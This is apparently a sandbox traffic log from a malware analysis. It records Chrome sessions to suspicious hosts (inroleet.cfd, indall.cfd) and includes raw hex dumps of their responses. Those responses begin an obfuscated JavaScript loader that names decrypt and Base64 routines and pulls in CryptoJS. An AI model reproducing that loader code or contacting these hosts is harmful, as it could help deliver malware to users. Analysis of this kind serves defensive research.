2024-05-07 14:12:44 UTC	16384	IN	Data Raw: ad cd e1 44 0a 22 a5 14 53 4a 53 9a 42 cd 43 d6 61 b4 55 39 ea 9a 4d 51 53 91 9c b3 57 12 c9 25 d7 55 46 cc b9 38 6a 50 4a 31 d3 1e 5f ad e8 15 9b bc fe a8 27 46 65 00 f0 eb 5d c7 34 35 df 7e de 4c 01 aa d5 1a 39 30 22 a6 18 89 a8 4c 53 cb 71 f9 48 7f f1 4e 1f 40 cd e0 ac 51 b2 fe ae fb 39 7d f6 78 5c f2 28 87 6b 8b 41 12 88 13 a4 24 ff 9f d5 8e c5 8a 76 9b 61 63 9e 36 c0 10 e0 75 64 09 e7 40 ff 35 d1 ff 79 1f ee 13 47 3e b3 16 9f 99 c8 f5 df ae 5d fe f8 8c 2a 28 c3 e7 a0 cc 27 41 6c 5f 87 41 7d 9d 24 91 ed cb 70 aa 19 3c 7d dd c7 90 b6 4e d5 39 af c7 e3 e2 39 71 cc 21 a5 18 63 22 42 ef c1 ac ad 49 ad a9 96 52 96 65 41 c0 ec d1 10 35 29 63 09 25 48 29 48 b4 e6 95 90 8a 94 92 73 4d ca c8 39 e7 bc 2c 47 5f b1 10 78 9a e7 52 fe e5 29 0f 35 3d f2 83 37 47 67 Data Ascii: D"SJSBCaU9MQSW%UF8jPJ1_'Fe]45~L90"LSqHN@Q9}x\(kA$vac6ud@5yG>]*('Al_A}$p<}N99q!c"BIReA5)c%H)HsM9,G_xR)5=7Gg
2024-05-07 14:12:44 UTC	16384	IN	Data Raw: 18 17 70 5b 19 06 68 e0 b1 71 60 29 85 58 b5 f6 ef d0 0d cc 23 22 04 44 53 33 a8 e5 fd 01 00 91 42 e0 c0 c1 03 0a ae ae 5b 1f 58 8b 87 c7 ee 54 87 81 b3 f7 eb a9 c5 b9 f5 73 cb c1 82 05 6f 06 e6 4c 93 91 80 c8 cc 8a 01 d5 22 94 c8 ad 0c 23 22 7a a9 67 7f bc e9 56 27 c6 1a ab aa e5 f1 c8 d3 72 aa 3a 42 a2 6d ab 58 43 70 b7 02 0a 7f 30 d9 49 d0 f8 43 f1 80 43 a6 18 d3 8c 18 42 f3 d3 d6 6b af b3 a1 ae 38 b6 4c 19 1a 0f 32 0e e2 e1 2a db 6d 3b ea 29 31 dc 52 fd 73 ce d9 cf a0 99 79 7f 46 b8 c6 1c c7 0f fc 94 a1 6d 25 30 e1 42 00 9c 25 f9 3b fc 72 5d d8 0c c1 99 3e 59 bf 43 69 4d 79 bd 65 9a f5 7e 69 8f af c0 d9 3a 8c ab f1 f4 82 7c 3e f9 60 ea c1 b1 ed c3 67 df dd 1b a9 5a 40 aa 62 5a 8a 7b 5a b4 48 2d 88 06 00 ce 85 f0 64 9b f6 0d 93 d7 75 35 30 22 14 91 5c Data Ascii: p[hq`)X#"DS3B[XTsoL"#"zgV'r:BmXCp0ICCBk8L2*m;)1RsyFm%0B%;r]>YCiMye~i:\|>`gZ@bZ{ZH-du50"\
2024-05-07 14:12:44 UTC	16384	IN	Data Raw: 9d 76 da 69 a7 9d 76 da 69 a7 6f 41 a1 97 fa 7b 94 fe 02 c3 6e 2c 31 f0 d1 c5 0e 3b 0c e1 66 f3 87 3e eb 0b d2 d8 d8 62 5c ea 31 1d e6 b1 2f fa 3b ea 50 d1 f8 dd c7 96 f4 f1 b7 f9 17 ae fd 4e 3b ed b4 d3 4e 3b ed b4 d3 4e 3b ed b4 d3 ef a7 00 66 6e 02 0e 76 d9 66 bb d5 cf fe 74 93 ad 47 40 bc c8 9d 7e 66 45 df f2 95 b1 13 c7 13 30 c4 4b 23 05 3e 88 2e ad fd 77 b9 67 a7 b1 ac 03 33 3f 8d 44 3c f6 8e 9e 58 d2 56 83 63 8b 44 81 f6 c7 f3 b6 9f a7 4f 82 3f 7c bf ef b4 d3 4e 3b ed b4 d3 4e 3b ed b4 d3 4e 3b fd 36 0a eb b2 20 33 31 33 11 54 9b cd 4c cd 00 10 09 09 36 c3 ee 1b 82 11 37 86 36 bc b4 b2 c0 59 e2 c6 8b 56 e8 89 42 06 8f 8d f6 89 db 7e d0 3b e9 f3 ba da 81 e2 75 0f 1d e3 20 bc 5a 67 ce d9 3f 0c 21 98 59 08 c1 c1 88 c7 1e f1 d8 3b ba 5c d2 36 7e a8 9b Data Ascii: vivioA{n,1;f>b\1/;PN;N;N;fnvftG@~fE0K#>.wg3?D<XVcDO?\|N;N;N;6 313TL676YVB~;u Zg?!Y;\6~
2024-05-07 14:12:44 UTC	16384	IN	Data Raw: 96 39 1b 32 ba 69 cd 39 03 76 15 aa f9 0d 7c 2b 21 a1 a5 e4 3c 2f f3 bc 14 6a 16 10 d0 85 00 5b c4 4e ef 9d 41 c2 e4 5a f3 9c 8d 82 0c c3 e1 d9 cd 07 68 04 11 1d bd 96 e9 f6 c5 f3 8f 9e df 4e a5 54 f7 c6 a0 10 63 0c 84 35 cf f3 bc 2c a5 de e7 b3 d5 65 ca 0a 44 cc c4 4c 64 5a aa 02 b2 84 18 53 4a 81 d1 ca 92 4b 2d aa 66 8e 48 c8 cc 12 18 ad e4 79 ca 15 cc 00 48 24 a5 31 ab f7 09 21 26 ea e6 b0 b3 71 4d 39 93 03 0a 0b 6b 41 23 0e 9e 63 25 0c 80 76 38 78 4a 40 b0 2c f3 f3 e7 b7 77 4b 7d f7 f4 9f ed ca 3e 86 ea 33 11 68 01 d5 b2 b4 94 28 92 e1 d9 e7 3e ff b9 0f 9e 8d 6e 4c 56 e6 e3 ed 8b 8f 3e 7a 1a fc 6f 03 68 fe a4 bc 4c 77 77 33 02 4e 1c a7 e3 71 4c 87 e9 d9 18 03 39 b8 22 62 4a c3 10 03 a2 e7 79 7a f1 fc f6 6e 7e f7 f4 33 9e 1b b2 96 e3 74 77 bb 18 23 a2 Data Ascii: 92i9v\|+!</j[NAZhNTc5,eDLdZSJK-fHyH$1!&qM9kA#c%v8xJ@,wK}>3h(>nLV>zohLww3NqL9"bJyzn~3tw#
2024-05-07 14:12:44 UTC	16384	IN	Data Raw: 7c 9c 97 5c 8a ae 93 33 a4 14 18 b4 e5 a5 39 22 12 10 68 5d ee ee ee 6e 17 15 92 79 9a 97 69 c9 4b 75 58 8d 85 4c c4 af bf 1f 3e 3d fd 2d 26 90 64 18 86 c0 60 65 9e a7 9c 73 b3 99 03 30 01 59 ce d3 a4 b8 cc 61 99 a6 f9 38 1c d3 74 b8 39 a4 24 88 ee 1c 86 20 d2 e3 5c 72 75 57 2d d3 72 37 e5 ea 9b ff 3c 8c 87 67 87 24 e8 75 99 a7 e3 71 9a 97 52 54 01 91 da 15 39 2d ce 63 8a 43 94 80 ea a5 10 84 12 63 09 ec 88 65 99 a7 29 57 92 38 c4 34 0c 29 05 26 70 b7 32 b7 2b a8 54 55 77 62 09 71 38 3c 2b 55 eb 98 52 14 02 ab cb b2 2c 4b 9e 97 65 5e b2 73 20 d6 56 bf 6b d6 45 db c0 55 7b b9 13 16 89 29 46 41 00 90 38 c6 f0 fa 11 b5 c0 ac 34 8c a9 05 54 cd cb dc 34 f5 9c ab 59 f4 71 39 d4 1a b5 a2 3a d6 66 44 9c 96 82 ef 17 fd c5 8c 0c 9b 8d ba c5 21 b7 63 86 c0 5d 6b 5e Data Ascii: \|\39"h]nyiKuXL>=-&d`es0Ya8t9$ \ruW-r7<g$uqRT9-cCce)W84)&p2+TUwbq8<+UR,Ke^s VkEU{)FA84T4Yq9:fD!c]k^
2024-05-07 14:12:44 UTC	16384	IN	Data Raw: 64 23 3d ee 36 0c 1e 2f ce 33 b8 f9 80 49 a0 64 8f e0 dc 50 00 30 5f 69 0e e6 79 8c d0 4c a9 a6 cd 79 3f 60 1e 80 da 07 9b e7 93 9b 19 f7 73 e9 3c 85 e6 18 bd de 9b ad 7d 73 82 be 36 6b ed 2c dd 3f a3 87 90 63 da 5b 3b 07 e7 2b eb 11 20 20 4e 4f e4 f6 e5 e5 cb 3e 82 e6 c2 72 d4 f5 d3 c5 ae ee 8b ea b8 17 42 9f e9 b9 e9 57 e7 6b b0 f0 ac 61 3b d7 af 8d de 8f ed f6 f2 e5 76 db bb 33 0b d2 8c 28 dd 43 38 12 67 f4 e5 6b 7f 27 e6 60 f5 be 6f 2f 5f 7e ff e7 7f ff f3 5f 2f 6d 38 00 6b a9 cb fa e9 b7 7f 5c 97 c2 30 5a 9e ae 21 cb 6f c3 3e 5d d7 ca e0 6d ff f2 fb ef ff fa fd cb ad 19 94 eb ff 65 81 cc a9 eb 42 1c f8 97 9d ab 1f 6d 39 55 16 6e 96 37 dd 23 b8 7a 66 1f 33 85 08 67 c4 e1 8c 72 9e 2b 7c 06 d8 27 2e ec 0c 98 f9 18 c3 26 8e 30 20 c2 fa 68 db f6 f2 f2 f2 Data Ascii: d#=6/3IdP0_iyLy?`s<}s6k,?c[;+ NO>rBWka;v3(C8gk'`o/_~_/m8k\0Z!o>]meBm9Un7#zf3gr+\|'.&0 h
2024-05-07 14:12:44 UTC	16384	IN	Data Raw: a7 7d 70 30 dd 2b 18 22 e2 17 cc ff cd 3e 63 d3 ce 1a 33 fb 8a 71 f1 ca 53 99 29 78 cd d3 e0 19 46 e7 fd 3e 90 90 1b 84 0b 46 2e d6 d5 f4 fa fc a9 f0 a7 35 fe a1 3f 37 e9 70 f7 a7 f6 17 a9 a8 99 02 1c 2c 45 5e de f4 f9 4d cc 37 bf 1b ca 88 db cd fb b3 ab e9 18 3f dd cb 67 07 f8 2e ef f2 2e ef 72 27 38 f7 e5 eb 16 3e 1c 84 3b 07 c6 e5 7e cf f6 5d f3 c6 60 7d dd 7e 7b e5 dc bf ab ec fc 55 e7 b1 03 10 a2 b3 e9 04 12 d3 e8 4d a0 2a a2 0a c8 1c 78 b2 b9 3d b7 e9 5e dd ff 61 30 ed dd a6 ca 4f f9 e5 23 bc b9 d5 bc dc af 7d d8 2f bd 8f bd 66 6c 5c ff 78 00 f6 bf e3 53 d9 5d 98 ed 57 be be 67 f6 c3 d5 01 c6 c3 29 7a e5 14 b7 81 39 dd 23 45 e3 2f d7 27 a4 57 7f fc 15 e5 75 fb e7 fb c9 e6 fe 1a e3 1f c6 ee 2b 66 dc cf 5e e2 17 78 5e af 2f 9f 57 fc af 31 f8 69 84 fe Data Ascii: }p0+">c3qS)xF>F.5?7p,E^M7?g..r'8>;~]`}~{UM*x=^a0O#}/fl\xS]Wg)z9#E/'Wu+f^x^/W1i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49760	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:44 UTC	350	OUT	GET /dashboard/wlqo HTTP/1.1 Host: inroleet.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:47 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:45 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Content-Length: 18 Connection: close Content-Type: application/json
2024-05-07 14:12:47 UTC	18	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 7d Data Ascii: {"status":"error"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49761	91.108.102.252	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:45 UTC	496	OUT	GET /dashboard/js HTTP/1.1 Host: indall.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:45 UTC	226	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 May 2024 14:12:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 3095 Connection: close X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: *
2024-05-07 14:12:45 UTC	3095	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 30 63 66 28 29 7b 76 61 72 20 5f 30 78 32 62 32 66 65 66 3d 5b 27 61 6a 61 78 27 2c 27 2e 44 4c 4d 59 54 32 6b 2e 27 2c 27 31 37 31 30 52 69 7a 50 44 4a 27 2c 27 32 34 34 33 4c 48 75 78 52 69 27 2c 27 6c 69 62 27 2c 27 68 61 73 68 27 2c 27 6f 6e 6c 6f 61 64 27 2c 27 33 36 63 5a 63 59 71 47 27 2c 27 70 61 64 27 2c 27 55 74 66 38 27 2c 27 35 34 48 5a 56 6b 68 79 27 2c 27 77 6f 72 64 73 27 2c 27 63 6c 6f 73 65 27 2c 27 35 30 46 6f 64 4d 67 59 27 2c 27 64 65 63 72 79 70 74 27 2c 27 64 69 72 27 2c 27 53 74 61 74 75 73 3a 20 27 2c 27 31 36 36 36 34 49 6a 74 76 59 49 27 2c 27 32 32 38 33 30 35 7a 46 46 6b 66 46 27 2c 27 65 6e 63 27 2c 27 32 30 34 32 38 35 41 53 72 74 71 4b 27 2c 27 73 6c 69 63 65 27 2c 27 42 61 73 65 36 34 Data Ascii: function _0x40cf(){var _0x2b2fef=['ajax','.DLMYT2k.','1710RizPDJ','2443LHuxRi','lib','hash','onload','36cZcYqG','pad','Utf8','54HZVkhy','words','close','50FodMgY','decrypt','dir','Status: ','16664IjtvYI','228305zFFkfF','enc','204285ASrtqK','slice','Base64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49763	91.108.102.252	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:46 UTC	346	OUT	GET /dashboard/js HTTP/1.1 Host: indall.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:46 UTC	226	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 May 2024 14:12:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 3095 Connection: close X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: *
2024-05-07 14:12:46 UTC	3095	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 30 63 66 28 29 7b 76 61 72 20 5f 30 78 32 62 32 66 65 66 3d 5b 27 61 6a 61 78 27 2c 27 2e 75 4a 7a 42 59 78 43 2e 27 2c 27 31 37 31 30 52 69 7a 50 44 4a 27 2c 27 32 34 34 33 4c 48 75 78 52 69 27 2c 27 6c 69 62 27 2c 27 68 61 73 68 27 2c 27 6f 6e 6c 6f 61 64 27 2c 27 33 36 63 5a 63 59 71 47 27 2c 27 70 61 64 27 2c 27 55 74 66 38 27 2c 27 35 34 48 5a 56 6b 68 79 27 2c 27 77 6f 72 64 73 27 2c 27 63 6c 6f 73 65 27 2c 27 35 30 46 6f 64 4d 67 59 27 2c 27 64 65 63 72 79 70 74 27 2c 27 64 69 72 27 2c 27 53 74 61 74 75 73 3a 20 27 2c 27 31 36 36 36 34 49 6a 74 76 59 49 27 2c 27 32 32 38 33 30 35 7a 46 46 6b 66 46 27 2c 27 65 6e 63 27 2c 27 32 30 34 32 38 35 41 53 72 74 71 4b 27 2c 27 73 6c 69 63 65 27 2c 27 42 61 73 65 36 34 Data Ascii: function _0x40cf(){var _0x2b2fef=['ajax','.uJzBYxC.','1710RizPDJ','2443LHuxRi','lib','hash','onload','36cZcYqG','pad','Utf8','54HZVkhy','words','close','50FodMgY','decrypt','dir','Status: ','16664IjtvYI','228305zFFkfF','enc','204285ASrtqK','slice','Base64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49762	104.17.25.14	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:46 UTC	526	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:46 UTC	953	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:46 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 42233 Expires: Sun, 27 Apr 2025 14:12:46 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0VR9UxvWnl8vIZyizAIu8Wq7XsMH6QLH8e3H00d0BClihmXUmHE3mRBeBadQUVBsOPNmWYFj95jc8dd0984nNVtki648Ko8HSaG3kNBRlmsDD5U%2FdGRZ3cYsmoGLMFm4CndPBI4M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8801ce8d9fe41a34-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:46 UTC	416	IN	Data Raw: 37 62 66 36 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bf6!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-05-07 14:12:46 UTC	1369	IN	Data Raw: 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 Data Ascii: w.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.get
2024-05-07 14:12:46 UTC	1369	IN	Data Raw: 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:function(){
2024-05-07 14:12:46 UTC	1369	IN	Data Raw: 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 Data Ascii: is._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProcessBloc
2024-05-07 14:12:46 UTC	1369	IN	Data Raw: 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 Data Ascii: 0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0?1:0)\|0
2024-05-07 14:12:46 UTC	1369	IN	Data Raw: 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 Data Ascii: >0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0)+((655
2024-05-07 14:12:46 UTC	1369	IN	Data Raw: 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 39 36 2a 6c 2e Data Ascii: a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return 